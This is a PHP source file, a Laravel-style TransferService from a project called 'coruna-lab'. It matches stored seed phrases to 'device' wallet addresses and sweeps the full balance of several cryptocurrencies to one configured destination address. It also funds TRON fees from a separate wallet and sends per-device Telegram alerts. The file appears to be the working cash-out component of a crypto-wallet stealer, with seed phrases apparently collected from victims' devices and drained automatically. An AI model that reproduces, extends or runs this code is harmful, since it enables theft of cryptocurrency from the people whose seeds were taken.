Files
coruna-lab/app/Services/TransferService.php
T
2026-09-26 12:27:12 +08:00

619 lines
23 KiB
PHP

<?php
namespace App\Services;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainManager;
use RuntimeException;
class TransferService
{
public function __construct(
private readonly ChainManager $chains,
private readonly AutoTransferConfig $autoConfig,
private readonly TelegramNotifier $telegram,
) {}
/**
* Sweep from a known device address to the configured TRANSFER_TO_ADDRESS_*.
* Looks up mnemonics by the address row's device_id + source; tries each in order
* (and BIP44 indexes) until the derived address matches $fromAddress.
* Null / empty $amount means transfer the full on-chain balance of $asset.
*
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
*/
public function handle(
string $chain,
string $fromAddress,
?string $amount = null,
string $asset = 'USDT',
?string $operator = null,
): array {
$chain = strtolower(trim($chain));
$asset = strtoupper(trim($asset));
// Native BNB and later BEP20 USDT settlement both happen on BSC.
if ($asset === 'BNB') {
$chain = 'bsc';
}
$record = [
'from_address' => $fromAddress,
'to_address' => null,
'chain' => $chain,
'tx_hash' => null,
'amount' => $amount === null || trim($amount) === '' ? null : trim($amount),
'type' => TransferRecord::TYPE_OUT,
'asset' => strtoupper(trim($asset)),
'operator' => $operator,
'status' => TransferRecord::STATUS_FAILED,
'error' => null,
];
try {
$to = $this->toAddress($chain);
if ($to === '') {
return $this->finish($record, ['ok' => false, 'error' => $this->missingToAddressError($chain)]);
}
$record['to_address'] = $to;
$asset = strtoupper(trim($asset));
$record['asset'] = $asset;
create_log([
'event' => 'transfer_start',
'chain' => $chain,
'asset' => $asset,
'from' => $fromAddress,
'to' => $to,
'amount' => $record['amount'],
'operator' => $operator,
], 'transfer');
$driver = $this->chains->resolve($chain);
if (! $driver->isValidAddress($fromAddress)) {
return $this->finish($record, ['ok' => false, 'error' => 'Invalid from address']);
}
if (! $driver->isValidAddress($to)) {
return $this->finish($record, ['ok' => false, 'error' => 'Invalid to address']);
}
$amount = $amount === null ? null : trim($amount);
if ($amount === '') {
$amount = null;
}
if ($amount === null) {
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset, $chain);
}
$record['amount'] = $amount;
$this->assertAmountWithinLimit($amount, $asset, $chain);
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
if ($resolved === null) {
return $this->finish($record, ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']);
}
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
// Energy/bandwidth fee: only TRON USDT (TRC20) needs a TRX buffer.
if ($asset === 'USDT' && in_array($chain, ['tron', 'trx'], true)) {
$this->ensureTronFeeTopup($driver, $fromAddress, $operator);
}
$txid = match ($asset) {
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
'USDT' => $driver->sendToken(
$mnemonic,
$index,
$to,
$amount,
$this->usdtContract($chain),
),
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
$record['tx_hash'] = $txid;
$record['status'] = TransferRecord::STATUS_SUCCESS;
return $this->finish($record, [
'ok' => true,
'txid' => $txid,
'from' => $fromAddress,
'to' => $to,
'amount' => $amount,
'asset' => $asset,
]);
} catch (\Throwable $e) {
$record['error'] = $e->getMessage();
return $this->finish($record, ['ok' => false, 'error' => $e->getMessage()]);
}
}
/**
* TRON USDT only: if fromAddress TRX < fee_topup_trx target, top up the shortfall from the fee wallet.
* Example: balance 5, target 20 → send 15 TRX.
*/
private function ensureTronFeeTopup(ChainDriver $driver, string $fromAddress, ?string $operator): void
{
if (! $driver instanceof \App\Services\Chain\TronDriver) {
return;
}
$target = $this->autoConfig->feeTopupTrx();
$trx = $driver->getNativeBalance($fromAddress);
if (bccomp($trx, $target, 6) >= 0) {
create_log([
'event' => 'tron_fee_topup_skip',
'reason' => 'balance_sufficient',
'from' => $fromAddress,
'trx' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
return;
}
$amount = bcsub($target, $trx, 6);
$amount = rtrim(rtrim($amount, '0'), '.');
if ($amount === '' || str_starts_with($amount, '-') || bccomp($amount, '0', 6) <= 0) {
return;
}
$feeAddress = $this->autoConfig->feeAddressTron();
$feeKey = $this->autoConfig->feePrivateKeyTron();
if ($feeAddress === '' || $feeKey === '') {
create_log([
'event' => 'tron_fee_topup_failed',
'error' => 'fee wallet not configured',
'from' => $fromAddress,
'trx' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
throw new RuntimeException('TRON fee top-up wallet is not configured (address/private key)');
}
if (! $driver->isValidAddress($feeAddress)) {
throw new RuntimeException('Invalid TRON fee top-up address');
}
try {
$derived = \App\Services\Chain\TronDriver::addressFromPrivateKey($feeKey);
if (strcasecmp($derived, $feeAddress) !== 0) {
throw new RuntimeException('TRON fee private key does not match fee address');
}
} catch (RuntimeException $e) {
throw $e;
} catch (\Throwable $e) {
throw new RuntimeException('Invalid TRON fee private key: '.$e->getMessage());
}
create_log([
'event' => 'tron_fee_topup_start',
'fee_from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'trx_before' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
$topupRecord = [
'from_address' => $feeAddress,
'to_address' => $fromAddress,
'chain' => 'tron',
'tx_hash' => null,
'amount' => $amount,
'type' => TransferRecord::TYPE_OUT,
'asset' => 'TRX',
'operator' => 'fee-topup'.($operator ? ':'.$operator : ''),
'status' => TransferRecord::STATUS_FAILED,
'error' => null,
];
try {
$txid = $driver->sendNativeWithPrivateKey($feeKey, $feeAddress, $fromAddress, $amount);
$topupRecord['tx_hash'] = $txid;
$topupRecord['status'] = TransferRecord::STATUS_SUCCESS;
$this->finish($topupRecord, [
'ok' => true,
'txid' => $txid,
'from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'asset' => 'TRX',
]);
create_log([
'event' => 'tron_fee_topup_success',
'fee_from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'txid' => $txid,
'operator' => $operator,
], 'transfer');
$this->notifyFeeTopupTelegram(
feeFrom: $feeAddress,
toAddress: $fromAddress,
ok: true,
amount: $amount,
txid: $txid,
);
} catch (\Throwable $e) {
$topupRecord['error'] = $e->getMessage();
$this->finish($topupRecord, ['ok' => false, 'error' => $e->getMessage()]);
create_log([
'event' => 'tron_fee_topup_failed',
'fee_from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'error' => $e->getMessage(),
'operator' => $operator,
], 'transfer');
$this->notifyFeeTopupTelegram(
feeFrom: $feeAddress,
toAddress: $fromAddress,
ok: false,
amount: $amount,
error: $e->getMessage(),
);
throw new RuntimeException('TRON fee top-up failed: '.$e->getMessage());
}
$deadline = microtime(true) + 45;
do {
if (! app()->runningUnitTests()) {
usleep(1_500_000);
}
$trx = $driver->getNativeBalance($fromAddress);
if (bccomp($trx, $target, 6) >= 0) {
return;
}
} while (microtime(true) < $deadline);
create_log([
'event' => 'tron_fee_topup_confirm_timeout',
'to' => $fromAddress,
'trx_after' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
throw new RuntimeException('TRON fee top-up sent but balance still below '.$target);
}
/**
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
*/
private function finish(array $record, array $result): array
{
if (! ($result['ok'] ?? false)) {
$record['status'] = TransferRecord::STATUS_FAILED;
$record['error'] = $record['error'] ?: ($result['error'] ?? 'Transfer failed');
}
try {
TransferRecord::query()->create([
'from_address' => (string) ($record['from_address'] ?? ''),
'to_address' => $record['to_address'],
'chain' => (string) ($record['chain'] ?? ''),
'tx_hash' => $record['tx_hash'],
'amount' => $record['amount'],
'type' => (string) ($record['type'] ?? TransferRecord::TYPE_OUT),
'asset' => (string) ($record['asset'] ?? ''),
'operator' => $record['operator'],
'status' => (string) ($record['status'] ?? TransferRecord::STATUS_FAILED),
'error' => $record['error'],
]);
} catch (\Throwable) {
// never break transfer for persistence failures
}
create_log([
'event' => 'transfer',
'ok' => (bool) ($result['ok'] ?? false),
'from' => $record['from_address'],
'to' => $record['to_address'],
'chain' => $record['chain'],
'tx_hash' => $record['tx_hash'],
'amount' => $record['amount'],
'type' => $record['type'],
'asset' => $record['asset'],
'operator' => $record['operator'],
'status' => $record['status'],
'error' => $record['error'],
], 'transfer');
$this->notifyTransferTelegram($record, $result);
return $result;
}
/**
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
*/
private function notifyTransferTelegram(array $record, array $result): void
{
$operator = (string) ($record['operator'] ?? '');
if (str_starts_with($operator, 'fee-topup')) {
return;
}
$from = (string) ($record['from_address'] ?? '');
$deviceKey = $this->deviceKeyForAddress($from);
if ($deviceKey === '') {
return;
}
try {
$this->telegram->notifyAutoTransfer(
$deviceKey,
$from,
(string) ($record['chain'] ?? ''),
(string) ($record['asset'] ?? ''),
(bool) ($result['ok'] ?? false),
isset($record['amount']) ? (string) $record['amount'] : null,
isset($record['to_address']) ? (string) $record['to_address'] : null,
isset($record['tx_hash']) ? (string) $record['tx_hash'] : null,
isset($record['error']) ? (string) $record['error'] : ($result['error'] ?? null),
$operator !== '' ? $operator : null,
);
} catch (\Throwable) {
// never break transfer for telegram
}
}
private function notifyFeeTopupTelegram(
string $feeFrom,
string $toAddress,
bool $ok,
?string $amount = null,
?string $txid = null,
?string $error = null,
): void {
$deviceKey = $this->deviceKeyForAddress($toAddress);
if ($deviceKey === '') {
return;
}
try {
$this->telegram->notifyFeeTopup(
$deviceKey,
$feeFrom,
$toAddress,
$ok,
$amount,
$txid,
$error,
);
} catch (\Throwable) {
// never break transfer for telegram
}
}
private function deviceKeyForAddress(string $address): string
{
$address = trim($address);
if ($address === '') {
return '';
}
try {
$devicePk = WalletAddress::query()->where('address', $address)->value('device_id');
if ($devicePk === null) {
return '';
}
return (string) (\App\Models\Device::query()->whereKey($devicePk)->value('device_id') ?: '');
} catch (\Throwable) {
return '';
}
}
private function toAddress(string $chain): string
{
return match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
'bsc', 'bnb', 'binance' => $this->bscToAddress(),
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
'sol', 'solana' => trim((string) config('coruna.transfer.to_address_sol', '')),
default => trim((string) config('coruna.transfer.to_address', '')),
};
}
private function missingToAddressError(string $chain): string
{
return match ($chain) {
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
'bsc', 'bnb', 'binance' => 'TRANSFER_TO_ADDRESS_BSC (or TRANSFER_TO_ADDRESS_ETH) is not configured',
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
'sol', 'solana' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
default => 'TRANSFER_TO_ADDRESS is not configured',
};
}
private function usdtContract(string $chain): string
{
$contract = match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
'bsc', 'bnb', 'binance' => trim((string) config('coruna.bsc.usdt_contract', '')),
default => trim((string) config('coruna.tron.usdt_contract', '')),
};
if ($contract === '') {
throw new RuntimeException('USDT contract is not configured for '.$chain);
}
return $contract;
}
private function bscToAddress(): string
{
$bsc = trim((string) config('coruna.transfer.to_address_bsc', ''));
if ($bsc !== '') {
return $bsc;
}
return trim((string) config('coruna.transfer.to_address_eth', ''));
}
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
{
$balance = match ($asset) {
'TRX', 'ETH', 'BTC', 'BNB' => $driver->getNativeBalance($fromAddress),
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
$reserveKey = match ($asset) {
'TRX' => 'coruna.transfer.trx_fee_reserve',
'ETH' => 'coruna.transfer.eth_fee_reserve',
'BNB' => 'coruna.transfer.bnb_fee_reserve',
'BTC' => 'coruna.transfer.btc_fee_reserve',
default => null,
};
$scale = $this->assetDecimals($asset, $chain);
if ($reserveKey !== null) {
$reserve = (string) config($reserveKey, '0');
if ($reserve !== '' && bccomp($reserve, '0', $scale) > 0) {
$balance = bcsub($balance, $reserve, $scale);
$balance = rtrim(rtrim($balance, '0'), '.');
if ($balance === '' || str_starts_with($balance, '-')) {
$balance = '0';
}
}
}
if (bccomp($balance, '0', $scale) <= 0) {
throw new RuntimeException("No transferable {$asset} balance");
}
return $balance;
}
/**
* @return array{mnemonic: string, index: int}|null
*/
private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
{
$addressRows = WalletAddress::query()
->where('address', $fromAddress)
->orderBy('id')
->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
// ETH addresses are often stored with mixed-case checksum.
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
$addressRows = WalletAddress::query()
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
->orderBy('id')
->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
}
if ($addressRows->isEmpty()) {
return null;
}
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
foreach ($addressRows as $row) {
if ($row->mnemonic_id !== null) {
$linked = WalletMnemonic::query()->find($row->mnemonic_id);
$phrase = $linked?->mnemonic;
if ($phrase !== null && trim($phrase) !== '') {
if ($row->derive_index !== null) {
return ['mnemonic' => $phrase, 'index' => (int) $row->derive_index];
}
for ($index = 0; $index <= MnemonicAddressLinker::MAX_DERIVE_INDEX; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
$match = $caseInsensitive
? strcasecmp($derived, $fromAddress) === 0
: $derived === $fromAddress;
if ($match) {
return ['mnemonic' => $phrase, 'index' => $index];
}
} catch (\Throwable) {
break;
}
}
}
}
$mnemonics = WalletMnemonic::query()
->where('device_id', $row->device_id)
->where(function ($q) use ($row) {
if ($row->source === null || $row->source === '') {
$q->whereNull('source')->orWhere('source', '');
} else {
$q->where('source', $row->source);
}
})
->orderBy('id')
->get();
foreach ($mnemonics as $mnemonicRow) {
$phrase = $mnemonicRow->mnemonic;
if ($phrase === null || trim($phrase) === '') {
continue;
}
for ($index = 0; $index <= $maxIndex; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
$match = $caseInsensitive
? strcasecmp($derived, $fromAddress) === 0
: $derived === $fromAddress;
if ($match) {
return ['mnemonic' => $phrase, 'index' => $index];
}
} catch (\Throwable) {
break;
}
}
}
}
return null;
}
private function assetDecimals(string $asset, string $chain): int
{
if ($asset === 'USDT' && in_array($chain, ['bsc', 'bnb', 'binance'], true)) {
return max(1, (int) config('coruna.bsc.usdt_decimals', 18));
}
return match ($asset) {
'ETH', 'BNB' => 18,
'BTC' => 8,
default => 6,
};
}
private function assertAmountWithinLimit(string $amount, string $asset, string $chain): void
{
$decimals = $this->assetDecimals($asset, $chain);
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
throw new RuntimeException('Invalid amount');
}
$maxKey = match ($asset) {
'TRX' => 'coruna.transfer.max_trx',
'ETH' => 'coruna.transfer.max_eth',
'BTC' => 'coruna.transfer.max_btc',
'BNB' => 'coruna.transfer.max_bnb',
default => 'coruna.transfer.max_usdt',
};
$max = (string) config($maxKey, '0');
if ($max !== '' && $max !== '0' && bccomp($amount, $max, $decimals) > 0) {
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
}
}
}